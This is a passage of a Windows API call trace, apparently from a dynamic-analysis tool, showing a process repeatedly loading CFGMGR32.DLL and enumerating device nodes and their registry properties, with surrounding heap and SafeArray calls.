(hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0200.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0200.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0200.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0200.917] malloc (_Size=0x18) returned 0x20abc281e60 [0200.917] CM_Get_Device_IDA (in: dnDevInst=0x23, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\ACPI0010\\2&DABA3FF&0") returned 0x0 [0200.917] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3384e4fa, dwHighDateTime=0x1d9eb0c)) [0200.917] SetEvent (hEvent=0x248) returned 1 [0200.922] malloc (_Size=0xd8) returned 0x20abc2867b0 [0200.922] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0200.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0200.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0200.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0200.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0200.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0200.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0200.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0200.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0200.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0200.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0200.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0200.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0200.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0200.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0200.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0200.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0200.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0200.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0200.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0200.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0200.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0200.926] malloc (_Size=0x18) returned 0x20abc281960 [0200.926] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0200.926] malloc (_Size=0x60) returned 0x20abc280450 [0200.926] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280450, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280450, pulLength=0x2dc22fd3f8) returned 0x0 [0200.927] free (_Block=0x20abc280450) [0200.928] malloc (_Size=0x48) returned 0x20abc2a80a0 [0200.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x33874bc1, dwHighDateTime=0x1d9eb0c)) [0200.928] SetEvent (hEvent=0x248) returned 1 [0200.931] malloc (_Size=0x18) returned 0x20abc281ae0 [0200.931] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0200.931] free (_Block=0x20abc281ae0) [0200.931] malloc (_Size=0x18) returned 0x20abc281be0 [0200.931] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0200.931] free (_Block=0x20abc281be0) [0200.931] malloc (_Size=0x18) returned 0x20abc281d80 [0200.931] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0200.931] free (_Block=0x20abc281d80) [0200.931] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0200.931] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0200.931] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0200.931] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0200.931] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0200.931] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0200.931] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0200.932] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0200.932] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0200.932] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0200.932] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0200.932] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0200.933] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0200.934] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0200.934] malloc (_Size=0xd8) returned 0x20abc2867b0 [0200.934] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0200.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0200.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0200.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0200.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0200.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0200.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0200.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0200.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0200.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0200.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0200.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0200.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0200.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0200.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0200.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0200.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0200.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0200.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0200.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0200.940] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0200.941] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0200.941] malloc (_Size=0x18) returned 0x20abc281f20 [0200.941] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0200.941] malloc (_Size=0x14) returned 0x20abc2820a0 [0200.941] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2820a0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2820a0, pulLength=0x2dc22fd3f8) returned 0x0 [0200.942] free (_Block=0x20abc2820a0) [0200.942] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3389ae99, dwHighDateTime=0x1d9eb0c)) [0200.942] SetEvent (hEvent=0x248) returned 1 [0200.945] malloc (_Size=0x18) returned 0x20abc282020 [0200.945] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0200.945] free (_Block=0x20abc282020) [0200.945] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c470 [0200.945] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0200.946] SafeArrayGetLBound (in: psa=0x20abba805d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0200.946] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0200.946] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0200.946] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0200.946] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0200.946] SafeArrayGetElemsize (psa=0x20abba805d0) returned 0x8 [0200.946] SafeArrayGetElement (in: psa=0x20abba805d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0200.946] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402390, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0200.947] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0200.948] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c470) returned 1 [0200.949] malloc (_Size=0xd8) returned 0x20abc2867b0 [0200.949] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0200.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0200.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0200.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0200.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0200.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0200.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0200.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0200.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0200.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0200.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0200.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0200.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0200.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0200.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0200.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0200.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0200.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0200.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0200.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0200.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0200.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0200.953] malloc (_Size=0x18) returned 0x20abc281d80 [0201.094] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.102] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33a181c5, dwHighDateTime=0x1d9eb0c)) [0201.103] SetEvent (hEvent=0x248) returned 1 [0201.104] SetEvent (hEvent=0x248) returned 1 [0201.105] free (_Block=0x20abc27cb20) [0201.106] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.106] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33a181c5, dwHighDateTime=0x1d9eb0c)) [0201.106] SetEvent (hEvent=0x248) returned 1 [0201.107] SetEvent (hEvent=0x248) returned 1 [0201.108] free (_Block=0x20abc27cb20) [0201.108] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.108] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33a181c5, dwHighDateTime=0x1d9eb0c)) [0201.109] SetEvent (hEvent=0x248) returned 1 [0201.110] SetEvent (hEvent=0x248) returned 1 [0201.111] free (_Block=0x20abc27cb20) [0201.111] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.112] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33a3e475, dwHighDateTime=0x1d9eb0c)) [0201.112] SetEvent (hEvent=0x248) returned 1 [0201.115] SetEvent (hEvent=0x248) returned 1 [0201.116] free (_Block=0x20abc27cb20) [0201.116] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.118] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33a3e475, dwHighDateTime=0x1d9eb0c)) [0201.118] SetEvent (hEvent=0x248) returned 1 [0201.119] SetEvent (hEvent=0x248) returned 1 [0201.120] free (_Block=0x20abc27cb20) [0201.120] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x23, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0201.120] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x33a3e475, dwHighDateTime=0x1d9eb0c)) [0201.121] SetEvent (hEvent=0x248) returned 1 [0201.123] SetEvent (hEvent=0x248) returned 1 [0201.124] free (_Block=0x20abc27cb20) [0201.124] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x23, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0201.124] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x33a3e475, dwHighDateTime=0x1d9eb0c)) [0201.125] SetEvent (hEvent=0x248) returned 1 [0201.162] SetEvent (hEvent=0x248) returned 1 [0201.163] free (_Block=0x20abc27cb20) [0201.163] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0201.163] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33ab0ae8, dwHighDateTime=0x1d9eb0c)) [0201.164] SetEvent (hEvent=0x248) returned 1 [0201.166] SetEvent (hEvent=0x248) returned 1 [0201.167] free (_Block=0x20abc27cb20) [0201.167] CM_Get_Device_IDA (in: dnDevInst=0x24, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\MMDEVAPI\\{0.0.1.00000000}.{A057BBB1-BD0A-493A-99E1-CA6410C7F4E2}") returned 0x0 [0201.167] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x33ab0ae8, dwHighDateTime=0x1d9eb0c)) [0201.168] SetEvent (hEvent=0x248) returned 1 [0201.169] SetEvent (hEvent=0x248) returned 1 [0201.170] free (_Block=0x20abc27cb20) [0201.170] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0201.170] malloc (_Size=0x32) returned 0x20abc280fd0 [0201.170] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280fd0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280fd0, pulLength=0x2dc22fd3f8) returned 0x0 [0201.171] free (_Block=0x20abc280fd0) [0201.171] malloc (_Size=0x48) returned 0x20abc27cf80 [0201.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x33ab0ae8, dwHighDateTime=0x1d9eb0c)) [0201.171] SetEvent (hEvent=0x248) returned 1 [0201.172] malloc (_Size=0x18) returned 0x20abc281cc0 [0201.172] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0201.172] free (_Block=0x20abc281cc0) [0201.172] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0201.386] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0201.386] SafeArrayGetLBound (in: psa=0x20abba80910, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0201.386] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0201.386] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0201.386] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0201.386] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0201.386] SafeArrayGetElemsize (psa=0x20abba80910) returned 0x8 [0201.386] SafeArrayGetElement (in: psa=0x20abba80910, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0201.387] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402320, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0201.387] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0201.388] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0201.389] malloc (_Size=0xd8) returned 0x20abc2867b0 [0201.389] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0201.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0201.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0201.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0201.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0201.391] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0201.391] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0201.391] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0201.391] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0201.391] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0201.392] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0201.392] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0201.392] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0201.392] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0201.392] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0201.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0201.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0201.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0201.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0201.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0201.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0201.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0201.394] malloc (_Size=0x18) returned 0x20abc282040 [0201.394] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0201.395] malloc (_Size=0x62) returned 0x20abc2807d0 [0201.395] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: 